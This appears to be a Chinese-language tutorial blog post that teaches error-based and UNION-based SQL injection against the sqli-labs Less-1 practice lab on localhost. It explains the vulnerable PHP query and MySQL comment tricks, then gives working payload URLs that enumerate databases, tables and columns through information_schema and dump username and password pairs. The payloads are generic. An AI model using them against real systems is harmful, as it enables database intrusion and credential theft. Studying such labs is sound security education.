sql注入介绍
我们直接来看一个例子:
我们访问的站点目录是Less-1,传入参数id=1

这里输入url使用的是火狐里面的一个插件Max HackBar,比较方便,当然也有其他各种编码功能,暂不讨论。

传入参数后,页面经过查询给我们的返回如下:

查询到一个用户名位Dumb,密码位Dumb的用户信息。
我们在mysql中看看这个数据库本身是什么样的:
这儿顺便讲解一下一些常用的mysql语句:
show databases;
用于返回有哪些数据库:

我们使用的security数据库。所以切换语句为:
use security;

查看这个数据库里面有哪些表:

我们之前url中提交的id=1是用来查询users表中数据的,所以我们在这看看uses表是什么样的:
(为何说是查询的是users表,稍后会在php代码中介绍)

我们可以看到,id=1对应的usename和password正是我们查询到的值。
那么这个一个查询过程到底是怎么工作的呢?
我们来看一看页面的代码:

主要看两部分。第一部分如上图所示。
sql-connect.php里面就是链接数据库所需要的配置文件,这不是今天的重点。
接下来一段判断是否通过GET方法传入参数id,是的话就取出传入的参数放到变量id中,并书写日志。

这一块的php代码就是通过传入的参数构造sql查询语句,并根据查询结果做不同的动作:
若查询到结果,则按照一定的格式输出,否则就另一种格式报错。
重点是红框中的查询语句:把之前的变量id中的内容放到一对单引号中作为sql查询语句的参数。
那么当我们输入在url中输入id=1并发送请求时,sql语句就变成了:
SELECT * FROM users WHERE id='1' LIMIT 0,1
limit是啥可以补充一下
那么查询到的结果自然就是users表中id为1的数据。
既然明白了查询的原理,我们试一试传入其他参数看看:
输入url:
http://127.0.0.1/sql/Less-1/?id=1'
结果如下:

出错了!
之前我们有看到php代码中如果没有查询到结果就会返回出错信息
这段黄字就是出错信息,在红框中的查询语句出现了语法错误。
mysql出错时会把错误的地方用单引号给闭合起来告诉我们,随意真实的错误内容需要把外头一层单引号给去掉:
'1'' LIMIT 0,1
为何会出现这样的错误呢?
我们传入的参数是id=1',php会在构造sql查询语句时把我们传入的参数放在一对单引号中
那么把1’放在一对单引号中就变成了'1'',
整个查询语句就是这样的:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
解析时发现有一个单引号无法闭合,所以判断出错。
这时候我们发现,我们在输入url时,id后面的东西都被当成参数传入了进去成为sql查询语句的一部分
这次我们多加的只是一个单引号,mysql发现语法有错所以报错
那如果我们传入的不是一个单引号,而是一个sql语句呢?
传入的sql语句被php填入了sql查询语句后是否能执行成功呢?
首先我们要想的是,在url中通过id传入的参数都会被php闭合在一个单引号当中
而单引号当中的内容是一个值,大部分情况下是不会被当成函数去执行的
所以我们的第一步是想办法闭合掉这个单引号。
解决方法就是使用注释符:
mysql支持以下三种风格的注释:
(1)#:注释从#字符到行尾;
(2)--:注释从--序列到行尾。需要注意的是,使用此注释时,后面需要跟上一个或多个空格;
(3)/*…*/:用于多行(块)注释。但是这种注释还有一个特点:
观察如下语句:
select id/*!50000,username*/ from users;

我们发现注释符中的uesrname字段被查询到了,这是为什么呢?
因为/*!*/是有特殊含义的,/*!50000,username*/表示mysql版本号高于或者等于5.00.00,语句就会被执行;
如果!后面不加入版本号,mysql将会直接执行语句。但是这样的语句在其他数据库中是不会被执行的,这在一定程度上是为了满足兼容性。
如下,语句直接被执行:
/*!select * from users*/;

OK,回归正题,知道注释怎么用了以后,
我们使用第二种注释,并输入如下url:
http://127.0.0.1/sql/Less-1/?id=1' --
查询成功:

这一次查询所构造的sql语句是:
SELECT * FROM users WHERE id='1' -- ’ LIMIT 0,1
--把多出来的单引号以及后头的语句全部注释掉了,留下了前半部分正确的查询语句,返回了正确的结果。
那么在此基础上,怎么通过这么一个过程执行我们想要执行的sql语句呢
我们构造如下url:
http://127.0.0.1/sql/Less-1/?id=1' and 1=1 --
查询结果如下:

再构造如下url:
http://127.0.0.1/sql/Less-1/?id=1' and 1=2 --
查询结果如下:

第二次查询并没有得到我们想要的数据,但是也没有报错,为什么呢?
将两次url传递的参数拼接到sql语句中:
第一次:
SELECT * FROM users WHERE id='1' and 1=1 -- ’ LIMIT 0,1
1=1为真,那么这句sql语句就是查询id为1的数据;
第二次:
SELECT * FROM users WHERE id='1' and 1=2 -- ’ LIMIT 0,1
1=2为假,and两侧有一个值为假就全假,所以查询不到任何满足条件的数据。
这个情况说明了:无论是1=1还是1=2,sql都执行了,
也就是说我们可以在url中构造sql语句并使其执行。
接下来的目标就是通过构造url注入sql语句,获得我们想要的信息。
比如,我们想知道mysql的版本可以构造如下url(验证mysql版本的一个个字符是不是4):
http://127.0.0.1/sql/Less-1/?id=1' and substring(@@version,1,1)=4 --
页面返回给我们:

说明mysql版本不是4.*.*
修改为以下url(验证mysql版本的第一个字符是不是5):
http://127.0.0.1/sql/Less-1/?id=1' and substring(@@version,1,1)=5 --
页面返回给我们:

说明mysql版本为5.*.*
在控制台中查询发现的确如此:

同样,我们可以通过这样的方法一个字符一个字符地爆破数据库名等信息
为了节省时间,我们直接判断数据库名是不是security(可以使用burpsuite爆破):
http://127.0.0.1/sql/Less-1/?id=1' and database()='security' --
页面返回结果:

说明数据库名的确为security。
但是这样一个一个字符地爆破太慢了,尤其是不使用工具的情况下,我们更希望的是能将我们感兴趣的结果回显再屏幕上。
这就需要更多函数的帮助了。
介绍下order by和union函数
order by:
ORDER BY 语句用于根据指定的列对结果集进行排序。
比如对users表的查询结果根据username字段进行排序:

如果把username改为2,结果如下:

发现与根据username排序的结果一样
也就是说这里的2指的就是第二个字段
那么如果order by 4呢,也就是根据第四列排序:
![]()
mysql告诉我们不存在第四列
所以,通过order by,我们可以判断出表中有几列:
构造如下url(含义为将查询结果根据第三列排序):
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --
结果如下:

这是合理的,因为id=1地数据只有一条,排序前后没有区别
那如果url改为如下内容呢?
http://127.0.0.1/sql/Less-1/?id=1' order by 4 --
结果如下:

说明我们查询的表只有3列,第四列是不存在的。
这就是order by的作用,在此基础上我们结合union语句:
union
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
我们直接以w3school上的例子来介绍:
https://www.w3school.com.cn/sql/sql_union.asp
Employees_China:
| E_ID | E_Name |
|---|---|
| 01 | Zhang, Hua |
| 02 | Wang, Wei |
| 03 | Carter, Thomas |
| 04 | Yang, Ming |
Employees_USA:
| E_ID | E_Name |
|---|---|
| 01 | Adams, John |
| 02 | Bush, George |
| 03 | Carter, Thomas |
| 04 | Gates, Bill |
使用以下语句来列出所有在中国和美国的不同的雇员名::
SELECT E_Name FROM Employees_China
UNION
SELECT E_Name FROM Employees_USA
结果如下:

了解了union以后,怎么把union应用在sql注入中呢?
union联合了两个或多个查询结果集。我们暂时只讨论联合两个的情况
如果我们让前一个查询失败,即查询不到结果,后一个查询成功,那拼接的结果不就只有后一个查询的结果了么?
所以构造如下url:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --
结果如下:

结果和我们预想的一样。
分析一下为啥会这样:
这个url传入参数后,构成的sql语句如下:
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- ' LIMIT 0,1
id=-1并没有查到任何结果,后一段查询select1,2,3返回的结果就是1,2,3
而1,2,3沿用了原来查询的字段名,即id,username,password,如下:

然后php就将username=2,password=3返回给了页面并回显出来。
我们发现,2和3回显在页面上,那么可以将url中传入的2和3的位置上写入我们想要挖掘的信息,比如database()
构造如下url,把2替换为database():
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --
结果如下:

原来显示2的位置上显示了database()的结果!
想要爆出更多的有效信息,我们需要了解更多的数据库知识。
首先必须要知道的一点是mysql5.0及以上版本提供了INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。
这个数据库中有三张表是必须要知道的:
第一张是INFORMATION_SCHEMA.SCHEMATA表:

其中的SCHEMA_NAME列存放着所有数据库的名称
所以当我们执行如下查询:
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA;
就可以得到所有数据库的名称:

第二张是INFORMATION_SCHEMA.TABLES表:
它将所有数据库中所有的表的信息归到一张表中,TABLE_SCHEMA为数据库名,TABLE_NAME为表名:
如下(第六页):

红框中即为我们之前使用的数据库;
第三张表为INFORMATION_SCHEMA.COLUMNS:
其中TABLE_SCHEMA表示数据库名,TABLE_NAME表示表名,COLUMN_NAME表示列名,
如下(67页):


基于这三张表,我们就可以更好地爆出我们想要的信息了。
比如构造如下url:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --
group_cat在这儿是拼接字符串的作用(这个函数在sql中常与group by合用,但暂时不在我们的讨论范围内)
结果如下:

我们发现在原来应该显示3的位置上出现了该数据库下所有表的名字。
想要查询security库users表下的字段有哪些,就构造如下url:
http://127.0.0.1/sql/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --
结果如下,users表有三个字段id,username和password:

如下想要查询users表下username和password的值,则构造如下url:
http://127.0.0.1/sql/Less-1/?id=0' union select 1,2,group_concat(username,0x3a,password) from users --

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
这与我们之前看到的users表中的数据是一样的。
浙公网安备 33010602011771号